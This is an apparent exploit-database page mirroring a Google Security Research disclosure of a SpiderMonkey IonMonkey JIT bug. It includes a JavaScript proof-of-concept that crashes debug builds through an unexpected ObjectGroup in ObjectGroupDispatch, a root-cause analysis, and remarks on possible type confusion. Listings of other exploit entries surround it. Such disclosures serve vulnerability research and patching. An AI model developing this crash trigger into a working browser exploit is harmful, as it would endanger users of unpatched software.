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"Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation"

Author

"Google Security Research"

Platform

multiple

Release date

2019-05-29

Release Date Title Type Platform Author
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2019-06-17 "Thunderbird ESR < 60.7.XXX - 'icalmemorystrdupanddequote' Heap-Based Buffer Overflow" dos multiple "X41 D-Sec GmbH"
2019-06-17 "Thunderbird ESR < 60.7.XXX - Type Confusion" dos multiple "X41 D-Sec GmbH"
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-28 "Phraseanet < 4.0.7 - Cross-Site Scripting" webapps multiple "Krzysztof Szulski"
2019-05-27 "Deltek Maconomy 2.2.5 - Local File Inclusion" webapps multiple JameelNabbo
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script" dos multiple "Google Security Research"
2019-05-22 "Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting" webapps multiple Vingroup
2019-05-22 "Zoho ManageEngine ServiceDesk Plus < 10.5 - Improper Access Restrictions" webapps multiple Vingroup
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Deluge 1.3.15 - 'URL' Denial of Service (PoC)" dos multiple "Victor Mondragón"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
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2019-05-10 "TheHive Project Cortex < 1.15.2 - Server-Side Request Forgery" webapps multiple "Alexandre Basquin"
2019-05-07 "Prinect Archive System 2015 Release 2.6 - Cross-Site Scripting" webapps multiple alt3kx
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2019-05-08 "PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit)" remote multiple Metasploit
2019-05-06 "ReadyAPI 2.5.0 / 2.6.0 - Remote Code Execution" webapps multiple "Gilson Camelo"
2019-05-03 "Zotonic < 0.47.0 mod_admin - Cross-Site Scripting" webapps multiple "Ramòn Janssen"
2019-04-30 "Domoticz 4.10577 - Unauthenticated Remote Command Execution" webapps multiple "Fabio Carretto"
Release Date Title Type Platform Author
2019-06-20 "Linux - Use-After-Free via race Between modify_ldt() and #BR Exception" dos linux "Google Security Research"
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2019-05-29 "Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL" dos android "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script" dos multiple "Google Security Research"
2019-05-23 "Microsoft Windows 10 1809 - 'CmKeyBodyRemapToVirtualForEnum' Arbitrary Key Enumeration Privilege Escalation" local windows "Google Security Research"
2019-05-23 "Visual Voicemail for iPhone - IMAP NAMESPACE Processing Use-After-Free" dos ios "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
2019-04-30 "Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification" dos linux "Google Security Research"
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2019-04-24 "Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow" remote multiple "Google Security Research"
2019-04-24 "VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation" local windows "Google Security Research"
2019-04-23 "Linux - 'page->_refcount' Overflow via FUSE" dos linux "Google Security Research"
2019-04-23 "Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition" dos linux "Google Security Research"
2019-04-23 "systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit" dos linux "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
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2019-04-16 "Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation" local windows "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46940/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46940/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46940/41359/spidermonkey-ionmonkey-unexpected-objectgroup-in-objectgroupdispatch-operation/download/", "exploit_id": "46940", "exploit_description": "\"Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation\"", "exploit_date": "2019-05-29", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                                            

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While fuzzing Spidermonkey, I encountered the following (commented and modified) JavaScript program which crashes debug builds of the latest release version of Spidermonkey (from commit  https://github.com/mozilla/gecko-dev/commit/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c):

    function O1() {
        this.s = 'foobar';
        this.a = 42;

        // Avoid unboxed layout for O1 instances as this will cause the JIT
        // compiler to behave differently and not emit the ObjectGroupDispatch
        // operation (see below).
        delete this.a;
    }

    // This function will be inlined below in v4, together with the default
    // Object.prototype.toString implementation.
    // This just demonstrates that a custom function can be inlined which
    // will make assumptions about the input ObjectGroup.
    O1.prototype.toString = function() {
        return this.s;
    };

    function v4(v5) {
        // Once v22 is allocated as unboxed object, this will convert it to a
        // native object, which will cause its ObjectGroup to change.
        delete v5.nonExistent;

        // The call to .toString here will be implemented as a switch
        // (ObjectGroupDispatch operation) on the ObjectGroup with two cases
        // (ObjectGroup of v22 and v17). Depending on the input, the dispatch will
        // jump to one of the two inlined implementations of toString. However,
        // after v22 is allocated as UnboxedObject (still with the same
        // ObjectGroup as before), the delete operation above will convert it back
        // to a NativeObject, now changing the ObjectGroup. Afterwards, this
        // ObjectGroupDispatch operation will see an unexpected ObjectGroup and,
        // in debug builds, crash with an assertion failure. In release builds
        // it will just fallthrough to whichever branch was emitted right after
        // the dispatch operation.
        return v5.toString();
    }

    function v11() {
        const v22 = {p: 1337};
        v4(v22);

        let v26 = 0;
        do {
            const v17 = new O1;
            v4(v17);
            v26++;
        } while (v26 < 100);
    }
    for (let v33 = 0; v33 < 100; v33++) {
        const v37 = v11();
    }

The program will crash with an assertion similar to:

    > ../build_DBG.OBJ/dist/bin/js crash.js
    Assertion failure: Unexpected ObjectGroup, at js/src/jit/MacroAssembler.cpp:2014
    [1]    54116 trace trap  ../build_DBG.OBJ/dist/bin/js crash.js

It appears that roughly the following is happening here:

* Initially, the objects v22 and v17 will be allocated as native objects with two different ObjectGroups (an ObjectGroup [1] stores type information such as the prototype object and property/method types for an object): OG1 and OG2.
* Function v4 will be called repeatedly with objects of both ObjectGroups and will eventually be JIT compiled by IonMonkey. At that point, it will be compiled to expect an object with ObjectGroup OG1 or OG2 based on type feedback from the interpreter/baseline JIT and will be deoptimized if it is ever called with an object of a different group.
* The call to .toString in v4 will be optimized by inlining [2] the two possible implementations (O1.prototype.toString and Object.prototype.toString) and then performing a switch on the ObjectGroup of the input to determine which implementation to jump to. The switch is implemented by the ObjectGroupDispatch operation. Since both input ObjectGroups are covered, the instruction does not have a default (fallback) path [3].
* At a later point, the allocation site of v22 is modified to create an object with unboxed layout [4] which will store its properties inline in an unboxed form but still use ObjectGroup OG1.
* Afterwards, in the JIT code for v4, the delete operation converts the UnboxedObject back to a NativeObject [5], this time changing the ObjectGroup to a new group OG3 [6].
* Finally, when executing the machine code for the ObjectGroupDispatch operation, the new ObjectGroup matches none of the expected ones. At this point the program will crash with an assertion in debug builds. In release builds, it would now simply fall through to whichever one of the inlined implementations was directly following the ObjectGroupDispatch operation.

At least this way of triggering the bug is related to UnboxedObjects, which have recently been disabled by default:  https://github.com/mozilla/gecko-dev/commit/26965039e60a00b3600ce2e6a559106e4a3a30ca However, I am not sure if the conversion from unboxed to native objects due to the property deletion is the only reason that an object's ObjectGroup can change unexpectedly (in this situation).

As for exploitation, it might be possible to cause a type confusion by causing a fallthrough to the inlined code for the other ObjectGroup. In that case, the inlined code would expect to receive an object of a specific ObjectGroup and might omit further security checks based on that. For this specific sample it seems that the fallthrough path always happens to be the correct one (i.e. the one for Object.prototype.toString), but I assume it could also be the other way around in a different context. Furthermore, it might be possible to cause other code constructs (apart form the ObjectGroupDispatch) that rely on ObjectGroup information to misbehave in this situation. 


[1]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/ObjectGroup.h#L87
[2]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonBuilder.cpp#L4517
[3]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonBuilder.cpp#L4923
[4]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L1416
[5]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L1150
[6]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L756